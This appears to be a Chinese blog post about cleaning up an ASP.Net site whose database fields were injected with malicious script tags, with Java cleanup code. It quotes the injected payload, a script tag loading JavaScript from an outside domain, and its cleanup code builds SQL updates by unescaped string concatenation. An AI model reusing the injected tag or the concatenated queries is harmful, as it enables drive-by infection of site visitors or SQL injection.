`

ASP.Net网站数据库被挂马后手动清除一例

阅读更多

网站环境:

ASP.Net

 

感染现象:

1、数据库中数据被黑客严重破坏,并对大量数据字段写入代码例如:

uploadpic/dm/2006213164850.jpg<script src=http://99j4.org/0.js></script><script src=http://99j4.org/0.js></script><script src=http://99j4.org/0.js></script>



 

2、网站中大多数的ASP页面被植入带有木马的网址<iframe ......></iframe>等

 

分析:数据库中大多数的数据都是在原始数据后添加了一段脚本可以用正则表达式将这代码过滤后再重新写入数据库。

当然如果数据量小的话就不用再写程序来处理了,直接从数据库中删除木马代码即可。^_^

再将数据库网站中的ASP页面用杀马工具进行查杀

 

下边写了一段代码,可以对数据库中被感染数据进行清理

import java.sql.Connection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import com.sea.database.DBCon;
import com.sea.database.DBConnectionManager;

public class VirusExp {
	public static String regex1 = "<script";
	public static String regex2 = "<[[^<|^>]*|[\b|\\s|\\w|=|.|:|\\{|\\}|\\(|\\)|<|>]*]*>";
	public static Pattern p1 = Pattern.compile(regex1);
	static Connection conn = DBConnectionManager.getIntance().getConnection(
			"dbpool");
	static DBCon dbcon = new DBCon(conn);

	public static String replace(String str) {
		Matcher m = p1.matcher(str);
		boolean b = m.find();
		String newstr = str;
		if (b) {
			newstr = str.replaceAll(regex2, "");
			System.out.println("处理字符串:" + str);
			System.out.println("\t>>:" + newstr);
		}
		return newstr;
	}

	/**
	 * 
	 * @param id
	 *            主键ID
	 * @param field
	 *            需要处理的字段名
	 * @param tablename
	 *            处理表名
	 */
	public static void updateTable(String id, String field, String tablename) {
		DBConnectionManager.getIntance();

		String sql = "";
		sql = "select " + id + " ," + field + " from " + tablename;
		System.out.println(sql);

		String[][] rs = dbcon.executeQueryString(sql);
		String v_id, v_field, newstr;
		int n = rs.length;
		if(n>10)		//测试时
			n = 10;
		for (int i = 0; i < n; i++) {
			v_id = rs[i][0];
			v_field = rs[i][1];
			if (v_field != null && !v_field.equals("")) {
				newstr = replace(v_field);
				sql = "update " + tablename + " set " + field + "='" + newstr
						+ "' where " + id + "='" + v_id + "'";
				dbcon.executeUpdate(sql);
			}
		}

	}

	public static void close() {
		dbcon.close();
	}

 

代码调用:

//		VirusExp.updateTable("主键","被挂马的字段名","表名");
		VirusExp.updateTable("v_id","v_url","v_videoinfo");
		VirusExp.updateTable("v_id","v_pic","v_videoinfo");

 

网页挂马清除工具可以用飞盾

 

仅供参考,如果哪位有更好的办法欢迎拿出来共享

 

  • 大小: 76.9 KB
1
0
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics